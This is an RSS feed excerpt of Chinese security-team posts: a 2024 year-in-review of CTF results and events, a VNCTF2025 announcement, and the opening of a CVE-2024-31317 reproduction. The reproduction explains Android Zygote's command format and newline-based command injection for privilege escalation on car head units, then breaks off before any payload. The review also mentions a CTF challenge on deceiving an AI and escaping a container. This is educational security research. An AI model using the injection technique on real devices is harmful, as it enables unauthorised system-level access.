src="https://wechat2rss.xlab.app/img-proxy/?k=9abdbd89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayXic8W0hxXUvSHKOkzeiarffm3xgKwATkVu135NkQBVNyAxJ0qfmL5SJ1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section></section></section></section><section style="text-align: justify;"><p><br/></p></section><section style="text-align: justify;"><p><br/></p></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>W&amp;M</strong></p></section></section></section><section style="text-align: justify;line-height: 1.4;"><p><br/></p></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>- 强网杯 S7 决赛 一等奖</p><p>- XCTF - SCTF 冠军</p><p>- XCTF - DubheCTF 冠军</p><p>- ByteCTF 初赛 冠军</p><p>- D^3CTF 冠军</p><p>- 第四届网鼎杯 亚军</p><p>- AliYunCTF 第三名</p><p>- 巅峰极客 三等奖 (决赛域AK)</p><p>……</p></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>V&amp;N</strong></p></section></section></section><section style="line-height: 1.4;padding-right: 30px;padding-left: 30px;font-size: 12px;color: rgba(0, 0, 0, 0.25);"><p><br/></p></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>- 第八届强网杯青少年专项赛 冠军</p><p>- ByteCTF 2024 决赛 第 4 名</p><p>- 第四届鹏城杯 三等奖</p><p>- XCTF 分站赛 DubheCTF 2024 第 8 名</p><p>- XCTF 分站赛 RCTF 2024  第 12 名</p><p>- XCTF 分站赛 D³CTF 2024 第 15 名</p></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>Straw Hat</strong></p></section></section></section><section style="line-height: 1.4;padding-right: 30px;padding-left: 30px;font-size: 12px;color: rgba(0, 0, 0, 0.25);"><p><br/></p></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>- 由 Nu1L Team、W&amp;M、美国西北大学邢新宇教授团队以及国内优秀选手组成的 Straw Hat 战队在 Defcon32 Finals 斩获全球第五的好成绩，感谢师傅们的辛勤付出。</p></section></section><section style="margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 83%;height: auto;border-bottom-left-radius: 42px;border-bottom-right-radius: 42px;overflow: hidden;border-top-left-radius: 42px;"><img class="rich_pages wxw-img" data-imgfileid="100031488" data-ratio="0.625" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4665cab4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayX9zN7icPeHRMgabj4e4mF0HEoVaIicxCDm4TgodPR4icwEb8ln4YptialXg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section></section><section style="text-align: right;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 77%;height: auto;border-top-right-radius: 42px;border-bottom-left-radius: 42px;border-bottom-right-radius: 42px;overflow: hidden;"><img class="rich_pages wxw-img" data-imgfileid="100031489" data-ratio="0.75" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=780b88c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayX7p9jUhGlOGpDeblboqHFvxHUvSQQcl3Nrz0wo4G3111vJIQOSkUV1w%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p><br/></p></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>白帽100少先队</strong></p></section></section></section><section style="line-height: 1.4;padding-right: 30px;padding-left: 30px;font-size: 12px;color: rgba(0, 0, 0, 0.25);"><p><br/></p></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>- 有成员作为演讲嘉宾参加Blackhat</p><p>- 有成员荣获某省极客青年TOP3</p><p>- 今年成员挖出多个工控漏洞、多个车联网安全漏洞、多个OpenJDK组件、VMware组件、Windows组件漏洞</p><p>- 阿里SRC年度前15</p><p>- 开源代码审计辅助工具：<a href="https://github.com/novysodope/javaeasyscan" target="_blank">https://github.com/novysodope/javaeasyscan</a></p><p>- 公众号文章：</p><p>-- 车联网安全入门指北</p><p>-- CVE-2024-31317复现</p></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>白帽一百编辑部</strong></p></section></section></section><section style="line-height: 1.4;padding-right: 30px;padding-left: 30px;font-size: 12px;color: rgba(0, 0, 0, 0.25);"><p><br/></p></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>- 共发布文章26篇，26篇原创文章，累计阅读数超过5万。关注公众号总用户数突破1万3千。在新的一年，白帽一百编辑部会再接再厉为大家带来更优质的网络安全干货，让行业听见白帽一百的声音。</p></section></section><section style="text-align: center;margin-top: -25.1353%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100031486" data-ratio="0.27986348122866894" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="293" src="https://wechat2rss.xlab.app/img-proxy/?k=b9595b0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayXhG2FtEUlnCrzqPW5ibJicaiaxc1nSjJDPicPQ7kseaVzhDWGVxF9ugouwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section><section style="text-align: justify;"><p><br/></p></section><section style="display: flex;width: 100%;flex-flow: column;"><section style="z-index: 1;"><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;padding-right: 10px;margin-left: 10px;"><section style="-webkit-box-reflect: below -27px -webkit-linear-gradient(top, transparent, transparent 33%, rgba(255, 255, 255, 0.8));"><section style="text-align: center;font-size: 32px;color: rgb(2, 2, 2);line-height: 1.4;"><p><em><strong>PART.2</strong></em></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;margin-right: 10px;"><section style="text-align: right;font-size: 24px;color: rgb(217, 87, 78);"><p style="word-break: break-all;"><strong>我们举办的活动</strong></p></section><section style=""><section style="background-color: rgba(0, 0, 0, 0.19);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section style="text-align: right;font-size: 12px;color: rgba(0, 0, 0, 0.54);"><p style="word-break: break-all;">The activities we organized last year</p></section></section></section></section></section><section style="text-align: justify;"><p><br/></p><p><br/></p></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>WMCTF2024</strong></p></section></section></section><section style="text-align: justify;line-height: 1.4;"><p><br/></p></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>成功举办WMCTF 2024，本场赛事由W&amp;M战队与永信至诚联合主办。赛事共吸引来自全球的65个国家和地区，近千支队伍参赛，近一千五百人参与此次赛事。WMCTF一直秉承着好玩又贴近实战，让每个选手在WMCTF找到家的感觉，将队员发现的好知识点分享给大家，让大家能在做题中收获新知识的理念出发。今年在加入更多高质量题目的同时，结合AI 发起一场看似ssh其实非ssh的题目，让大家在趣味中收获欺骗AI和容器逃逸的知识点。</p></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>VNCTF2024</strong></p></section></section></section><section style="text-align: justify;"><p><br/></p></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>成功举办了VNCTF2024，比赛共吸引近1600名选手参赛！也期待有越来越多的选手参与到VNCTF 2025中，在比赛中学到新的知识。也期待今年的VNCTF2025能有更多师傅们加入我们，书写自己的诗篇</p></section></section><section style="text-align: justify;font-size: 12px;"><p><br/></p></section><section style="display: flex;width: 100%;flex-flow: column;"><section style="z-index: 1;"><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;padding-right: 10px;margin-left: 10px;"><section style="-webkit-box-reflect: below -27px -webkit-linear-gradient(top, transparent, transparent 33%, rgba(255, 255, 255, 0.8));"><section style="text-align: center;font-size: 32px;color: rgb(2, 2, 2);line-height: 1.4;"><p><em><strong>PART.3</strong></em></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;margin-right: 10px;"><section style="text-align: right;font-size: 24px;color: rgb(217, 87, 78);"><p style="word-break: break-all;"><strong>总结寄语</strong></p></section><section style=""><section style="background-color: rgba(0, 0, 0, 0.19);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section style="text-align: right;font-size: 12px;color: rgba(0, 0, 0, 0.54);"><p style="word-break: break-all;">Summary</p></section></section></section></section></section><section style="text-align: justify;"><p><br/></p></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>满秋</strong></p></section></section></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>祝新年新生</p></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>Dawn_whisper</strong></p></section></section></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>祝大家在新的一年里生活巳巳如意，0day生生不息！辞暮尔尔，烟火年年，朝朝暮暮，岁岁平安！</p></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(30px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;height: auto;padding-right: 10px;padding-left: 10px;"><section style="text-align: justify;font-size: 20px;color: rgb(217, 87, 78);"><p><strong>unknown</strong></p></section></section></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>这一年，大家一起参加了很多比赛，拿了不少好成绩。这些都离不开各位师傅的努力，十分感谢大家！</p><p>回过头看，我们成长了很多；新的一年，希望大家继续保持热情，多学习、多实践，一起提升自己的实力，争取在更多比赛中亮眼表现！</p></section></section><section style="text-align: justify;"><p><br/></p></section><section style="display: flex;width: 100%;flex-flow: column;"><section style="z-index: 1;"><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;padding-right: 10px;margin-left: 10px;"><section style="-webkit-box-reflect: below -27px -webkit-linear-gradient(top, transparent, transparent 33%, rgba(255, 255, 255, 0.8));"><section style="text-align: center;font-size: 32px;color: rgb(2, 2, 2);line-height: 1.4;"><p><em><strong>PART.4</strong></em></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;margin-right: 10px;"><section style="text-align: right;font-size: 24px;color: rgb(217, 87, 78);"><p style="word-break: break-all;"><strong>2025年展望</strong></p></section><section style=""><section style="background-color: rgba(0, 0, 0, 0.19);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section style="text-align: right;font-size: 12px;color: rgba(0, 0, 0, 0.54);"><p style="word-break: break-all;">prospect</p></section></section></section></section></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p>最好的生活方式，是和一群志同道合的人，一起奔跑在理想的路上，回头有一路的故事，低头有坚定的脚步，抬头有清晰的远方。<br/></p><p>对于新年，总有一种说不出的欢悦、欣喜和久久的期待。万象更新，这新的一年，期待能够完成所有的心愿，拥有更大的进步。白帽一百全体也祝愿大家工作顺利，身体安康。</p><p><br/></p></section></section><section style="margin-bottom: 20px;"><section style="font-size: 14px;color: rgb(0, 0, 0);font-family: PingFangSC-light;letter-spacing: 1px;line-height: 2;padding-right: 30px;padding-left: 30px;"><p><span style="font-size: 24px;"><strong>招人招人</strong></span></p><p>白帽一百下属各个小组招人，简历请投递至邮箱：hr@whitecap100.org<br/></p><p>或私聊白帽一百团队任一成员均可</p><p><br/></p><p>PS：CTF小组需要发送简历到ctf@wm-team.cn或联系任何一个W&amp;M的队员。也欢迎刚入门的师傅加入子队V&amp;N与大家共同进步。</p><p><br/></p><p>此外，今年VNCTF2025将于2月8日-2月9日举办，欢迎各位师傅报名参赛！！</p></section></section><section style="text-align: justify;"><p><br/></p></section><section style="display: flex;flex-flow: row;margin: 10px 0%;text-align: center;justify-content: center;"><section style="display: inline-block;vertical-align: top;width: auto;flex: 0 0 auto;align-self: flex-start;min-width: 10%;height: auto;line-height: 0;"><section style="transform: rotateZ(323deg);"><section style=""><section style="display: inline-block;width: 38px;height: 16px;vertical-align: top;overflow: hidden;border-radius: 322%;border-width: 1px;border-style: solid;border-color: rgb(54, 29, 8) rgb(54, 29, 8) rgba(255, 255, 255, 0) rgba(255, 255, 255, 0);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="display: inline-block;vertical-align: top;width: auto;flex: 0 0 auto;align-self: flex-start;line-height: 0;min-width: 10%;height: auto;border-width: 0px;margin-left: -9px;"><section style="text-align: left;margin-top: -1px;margin-right: 0%;margin-left: 0%;"><section style="display: inline-block;width: 72px;height: 13px;vertical-align: top;overflow: hidden;border-radius: 322%;border-width: 1px;border-style: solid;border-color: rgb(54, 29, 8) rgba(255, 255, 255, 0) rgba(255, 255, 255, 0);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="text-align: justify;font-size: 15px;color: rgb(0, 0, 0);padding-right: 18px;padding-left: 18px;"><p style="text-align: center;"><strong>END</strong></p></section></section></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247515145">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=94fd18b2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515145%26idx%3D1%26sn%3D5f4067dfd182166b027493a750adb031%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Dec 2024 13:00:00 +0800</pubDate>
    </item>
    <item>
      <title>赛事 | VNCTF2025 定档！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515110&amp;idx=1&amp;sn=b262c7d6b5de54bce0a2f472393a0a6a</link>
      <description>赛事 | VNCTF2025 定档！</description>
      <content:encoded><![CDATA[<p>
<span>V&amp;amp;N</span> <span>2024-12-30 10:01</span> <span style="display: inline-block;">江苏</span>
</p>

<p>赛事 | VNCTF2025 定档！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=74428a98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibtqhj0JskEhIIg6aw9tiafK1XGnsfphHpUJ0ATY91YVOvXjo9nF4vB5g0bxRCtuWXxthQ3trIN4x8A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="box-sizing: border-box;margin: 0.8em 0px;white-space: pre-wrap;word-spacing: 0.05rem;text-align: justify;text-indent: 2em;color: rgb(38, 38, 38);font-family: &#34;Source Sans Pro&#34;, MiSans, &#34;等距更纱黑体 SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-transform: none;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;"><span style="box-sizing: border-box;text-indent: 0px;font-size: 18px;"><strong style="box-sizing: border-box;padding: 0px 1px;text-indent: 0px;">VNCTF即将迎来第六年！</strong></span></section><section style="box-sizing: border-box;margin: 0.8em 0px;white-space: pre-wrap;word-spacing: 0.05rem;text-align: justify;text-indent: 2em;color: rgb(38, 38, 38);font-family: &#34;Source Sans Pro&#34;, MiSans, &#34;等距更纱黑体 SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-transform: none;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;"><span style="box-sizing: border-box;text-indent: 0px;font-size: 16px;">VNCTF 2025来袭！巳蛇之智，让我们缜密解密，再次相聚在VNCTF的舞台</span></section><p style="box-sizing: border-box;line-height: inherit;margin: 0.8em 0px;white-space: pre-wrap;word-spacing: 0.05rem;text-align: justify;text-indent: 2em;color: rgb(38, 38, 38);font-family: &#34;Source Sans Pro&#34;, MiSans, &#34;等距更纱黑体 SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-transform: none;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;text-indent: 0px;"><strong style="box-sizing: border-box;padding: 0px 1px;text-indent: 0px;"><span style="box-sizing: border-box;text-indent: 0px;"></span></strong></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100031459" data-ratio="6.507407407407407" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=44c3be5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibtqhj0JskEhIIg6aw9tiafK1DdicibiaGnoo6GHVFnDzUsf3wXSicb6aZZQDDt6bqcPGD28Xh8b0q0rRHw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247515110">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e5ceb308&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515110%26idx%3D1%26sn%3Db262c7d6b5de54bce0a2f472393a0a6a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 30 Dec 2024 10:01:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2024-31317 复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515004&amp;idx=1&amp;sn=49ef9432fd64ba81064c5af61066efee</link>
      <description>最近做一个测试的项目刚好是安卓车机于是想起来了这篇写一半的博客，赶紧趁着还能想起一点东西赶紧记录了下来。</description>
      <content:encoded><![CDATA[<p>
原创 <span>腹黑</span> <span>2024-12-05 11:30</span> <span style="display: inline-block;">浙江</span>
</p>

<p>最近做一个测试的项目刚好是安卓车机于是想起来了这篇写一半的博客，赶紧趁着还能想起一点东西赶紧记录了下来。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=96683669&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvd5DPElvLxred3fRshH4Wb9LX1fWaTFSFYaAKibJoiacwS6OOicDLQ5he1iaBw1ndTt2c8awqRCeZEaA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="font-size: 1.17em;margin-top: 1em;margin-bottom: 1em;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong>前言</strong></span></h3><p style="margin-bottom: 0px;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">前两天看到JD的公众号发了篇CVE-2024-31317漏洞的分析，通篇看下来感觉还是比较有意思，且车机目前主流方案均为安卓系统且都在该漏洞的有限范围内，遂开始复现。<br/>因为是用户态的提权，需先获取对应用户权限。因此在车联网场景下存在一定的限制，目前主流做法是限制未知签名的APK安卓且无法直接开发工程模式及ADB。但结合其他漏洞或技巧还是比较靠谱的，毕竟System能够做很多事情。另外需要注意的是该漏洞需要<code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);">WRITE_SECURE_SETTINGS</code>权限，默认情况下ADB具备此权限，在获取工程模式后用于提权还是比较滋润的，若无法直接使用ADB则需配合其他漏洞进行获取。</p><h3 style="font-size: 1.17em;margin-top: 1em;margin-bottom: 1em;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><strong><span style="font-size: 24px;">低版本下的利用</span></strong></h3><p style="margin-bottom: 0px;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">漏洞属于命令注入，整体分析难度不大，但是分析前还是需要了解下Zygote。Zygote 作为守护进程运行，可以通过fork的形式来创建应用程序进程，并接受/dev/socket/zygote 上的UNIX套接字命令。每个命令由一个十进制数字开头，后面跟对应数字的参数条数。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">8                              [<span class="code-snippet__built_in">command</span> <span class="code-snippet__comment">#1 arg count]</span></span></code><code><span class="code-snippet_outer">--runtime-args                 [arg <span class="code-snippet__comment">#1: vestigial, needed for process spawn]</span></span></code><code><span class="code-snippet_outer">--setuid=10266                 [arg <span class="code-snippet__comment">#2: process UID]</span></span></code><code><span class="code-snippet_outer">--setgid=10266                 [arg <span class="code-snippet__comment">#3: process GID]</span></span></code><code><span class="code-snippet_outer">--target-sdk-version=31        [args <span class="code-snippet__comment">#4-#7: misc app parameters]</span></span></code><code><span class="code-snippet_outer">--nice-name=com.facebook.orca</span></code><code><span class="code-snippet_outer">--app-data-dir=/data/user/0/com.facebook.orca</span></code><code><span class="code-snippet_outer">--package-name=com.facebook.orca</span></code><code><span class="code-snippet_outer">android.app.ActivityThread     [arg <span class="code-snippet__comment">#8: Java entry point]</span></span></code><code><span class="code-snippet_outer">3                              [<span class="code-snippet__built_in">command</span> <span class="code-snippet__comment">#2 arg count]</span></span></code><code><span class="code-snippet_outer">--<span class="code-snippet__built_in">set</span>-api-denylist-exemptions  [arg <span class="code-snippet__comment">#1: special argument, don&#39;t spawn process]</span></span></code><code><span class="code-snippet_outer">LClass1;-&gt;method1(             [args <span class="code-snippet__comment">#2, #3: denylist entries]</span></span></code><code><span class="code-snippet_outer">LClass1;-&gt;field1:</span></code></pre></section><p style="margin-bottom: 0px;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">diif path文件可知修改内容为增加换行符注释，这侧面证明在老版本中我们可以通过换行进行命令注入达到启动新进程的目的。</span></p><p style="margin-bottom: 0px;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica 